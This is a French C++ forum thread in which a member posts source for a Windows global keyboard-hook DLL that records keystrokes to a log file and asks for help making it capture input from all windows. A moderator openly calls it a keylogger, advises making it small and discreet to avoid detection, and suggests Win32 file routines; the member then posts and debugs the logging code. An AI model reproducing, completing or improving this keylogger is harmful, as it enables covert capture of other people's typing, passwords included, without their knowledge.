Hook clavier et fenêtre premier plan [Résolu]

Signaler
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007
-
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007
-
Salut à tous, j'ai un petit problème avec ce code la :

#include <windows.h>
#include <string>
#include
#include <fstream>

using namespace std;

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

ofstream Fichier;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

void WriteToFile(string Lettre)
{
    Fichier << Lettre;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        if ( ((DWORD)lParam & 1<<30) != FALSE )
        {
            return CallNextHookEx(Hook, nCode, wParam, lParam);
        }
        switch(wParam)
        {
            case 'A' : WriteToFile("a"); break;
           //b, c...
            case VK_SPACE : WriteToFile(" "); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

int DLLEXPORT InitHook()
{
    Fichier.open ("Log.ini", ios::out);
    if(!Hook)
        Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    Fichier.close();
    if(Hook)
        UnhookWindowsHookEx(Hook);
}

que je démarre avec un client ne marche que lorsque la fenêtre est au premier plan ?
N'y aurait-il aucun moyen pour empecher cela ?

Merci de votre aide.

8 réponses

Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
30
Soit tu communiques avec prog lanceur qu'il enregistre dans le fichier, soit il faut ouvrir écrire et fermer depuis chaque instance de la dll.

Sans surcouche inutile (string et autres binious à la noix), ta dll doit tenir en 6 Ko maxi je pense.
CreateFile()
SetFilePointer()
WriteFile()
CloseHandle()

Ici pour réglages corrects:
http://www.cppfrance.com/code.aspx?ID=36940

ciao...
BruNews, MVP VC++
Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
30
Un handle fichier est invalide d'un processus l'autre.

Un keylogger ets habituellement fait pour être discret, léger et rapide (ne pas se faire trop repérer).
Pas avec ces bidules:
#include <string>
#include
#include <fstream>
que ce sera le cas.

ciao...
BruNews, MVP VC++
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Si je change tout ça y'aura moyen d'empecher ça ?
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Ok merci, je viens de trouver ce code que je test :

DWORD myfprintf ( LPCVOID texte )
{
    HANDLE  logfic;                         // Handle du fichier
    DWORD   taille=0;                       // Nombre d'octets effectivement écrits
   
    // Ouverture et positionnement à la fin du fichier pour ajout
    logfic = CreateFile ( FILENAME, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_FLAG_SEQUENTIAL_SCAN, NULL );
    if ( logfic != INVALID_HANDLE_VALUE )
    {
        SetFilePointer ( logfic, 0, 0, FILE_END );
        WriteFile ( logfic, texte, strlen(texte), &taille, NULL );
        CloseHandle ( logfic );
    }
    return taille;
}

mais problème lors de la compilation : error C2664: 'strlen' : cannot convert parameter 1 from 'const void *' to 'const char *'
        Conversion from 'void*' to pointer to non-'void' requires an explicit cast

Je sais quel est le pb mais je ne sais pas comment y remedier, peux tu m'aider ? merci.
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Bon bha plus de problème j'ai mis const char* à la place de LPCVOID.

Merci à toi BruNews.
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Bon en fait non ça marche plus, j'y comprend plus rien à ce machin.

Un peu d'aide plz :'(.
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Bon dsl mais en mettant "c:\\log.txt" à la place de "log.txt" ça marche, j'y comprend rien mais j'ai plus de problème.

Merci encore.
Messages postés
66
Date d'inscription
jeudi 8 avril 2004
Statut
Membre
Dernière intervention
28 juin 2007

Dernière petite question, lorsque je suis la ou le fichier est situé tout ce que j'écris est bien noté mais quand je ferme et que je vais écrire qqpart d'autre
j'obtiens deux fois la même lettre.

Comment empecher cela ?

merci.